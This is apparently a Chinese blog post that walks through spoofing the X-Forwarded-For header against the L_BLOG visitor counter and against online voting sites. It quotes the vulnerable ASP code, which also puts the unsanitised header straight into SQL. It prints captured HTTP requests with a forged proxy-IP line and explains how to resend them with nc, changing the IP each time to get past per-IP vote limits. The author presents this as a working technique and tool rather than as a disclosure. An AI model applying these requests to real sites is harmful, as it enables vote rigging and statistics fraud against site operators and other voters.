在那段沉醉于代码的日子里,曾经写过一篇《不要问我从那里来——L_BLOG的统计漏洞》,所介绍的就是代理IP的利用方法,摘录部分内容如下(高手请飘过): 代理IP所在的源码是: Dim Guest_IP Guest_IP=Replace(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),"'","") If Guest_IP=Empty Then Guest_IP=Replace(Request.ServerVariables("REMOTE_ADDR"),"'","") '站点统计代码 IF Session("GuestIP")<>Guest_IP Then Dim Guest_Agent,Guest_Refer Guest_Agent=Trim(Request.ServerVariables("HTTP_USER_AGENT")) Guest_Refer=Trim(Request.ServerVariables("HTTP_REFERER")) Conn.ExeCute("INSERT INTO blog_Counter(coun_IP,coun_Agent,coun_Refer) VALUES ('"&Guest_IP&"','"&Guest_Agent&"','"&Guest_Refer&"')") Conn.ExeCute("UPDATE blog_Info SET blog_VisitNums=blog_VisitNums+1") SQLQueryNums=SQLQueryNums+2 Session("GuestIP")=Guest_IP End IF 这段代码中涉及到了 Request.ServerVariables 的四个变量,它们都是什么意思呢?让百度来告诉大家: 1、HTTP_X_FORWARDED_FOR:代理服务器的IP地址。 2、REMOTE_ADDR:本地主机的IP地址。 3、HTTP_USER_AGENT:当前用户HTTP设备的变量,包含默认的浏览器版本、机器名和操作系统。 4、HTTP_REFERER:来源页或称为上一页。 接下来讲解一下这段代码,如果用户使用的是代理,那么就把代理服务器的IP地址赋予 Guest_IP ,否则就取本地主机的IP地址。然后用取得的Guest_IP同Session中的Guestip值对比,如不同,就把当前用户的 IP地址 、 HTTP变量 和 来源页 插入到数据表中。 如果在打开这个页面的时候,用“Winsock”抓取数据包,其内容大致如下: GET /blogvisit.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://www.*****.cn/default.asp Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon) Host: www.*****.cn Connection: Keep-Alive Cookie: 5200=memPassword=&memStatus=&memName=; ASPSESSIONIDQQCTBTQS=CCEBHGADMELMNCOKMJGMHGGA 这里所看到的代码是没有加入代理IP的,怎样加入代理 IP呢?就是在COOKIE的下面另起一行,加入如下代码: X-Forwarded-For: 127.0.0.1 '代理IP地址 这样,当我们将上面所构造的数据用NC提交后,程序就会先看一下所提交来的数据中有没有X-Forwarded-For数据,如果有,就用X-Forwarded-For数据,如没有,才用REMOTE_ADDR数据。 有些xx站点为了公平,对IP进行了限制,但他们为了照顾那些在局域网内的用户,就会在源码中加入代理IP这一项,不然的话,局域网内的一个用户投了票,其他的用户就无法再投了。根据这个特性,只要先用“Winsock”抓取一个正常的xx数据包,然后再在数据中加入X-Forwarded-For数据,就能突破程序员的限制,进行无限量的xx了。 在2007年测试cixiblog时,曾写过一个代理IP注入的软件,其所提交的数据包就是: POST /jmdcw/jmdcw.asp?jm=1&cw=00 (网站POST地址) HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/x-shockwave-flash, */* Referer: http://127.0.0.1/jmdcw.asp (来源页) Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Host: 127.0.0.1 (HOST主机地址) Content-Length: 9 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDASDRRBRA=MFILAMMAENMDGAPJLLKPEAON X-Forwarded-For: 127.0.0.1 (代理IP地址) 只要在其下加入所投目标的某些值,再用NC提交这些数据,每次只需更改其中的代理IP地址就可以突破某些xx站点的限制了。 xx真的有公正性吗?有些不过是走走形式而已,做秀而已 !· 就算是短信xx也不过是为了给某些人造就一些利润,而网络本身就有意想不到的漏洞,何来公正?也许有人会说,就是因为这世界上有了许多像我一样的人,才让网络变得不安全!那么,你有没有问过程序员,如果他们能及时更正自已的错误,这网络怎么会不安全呢! |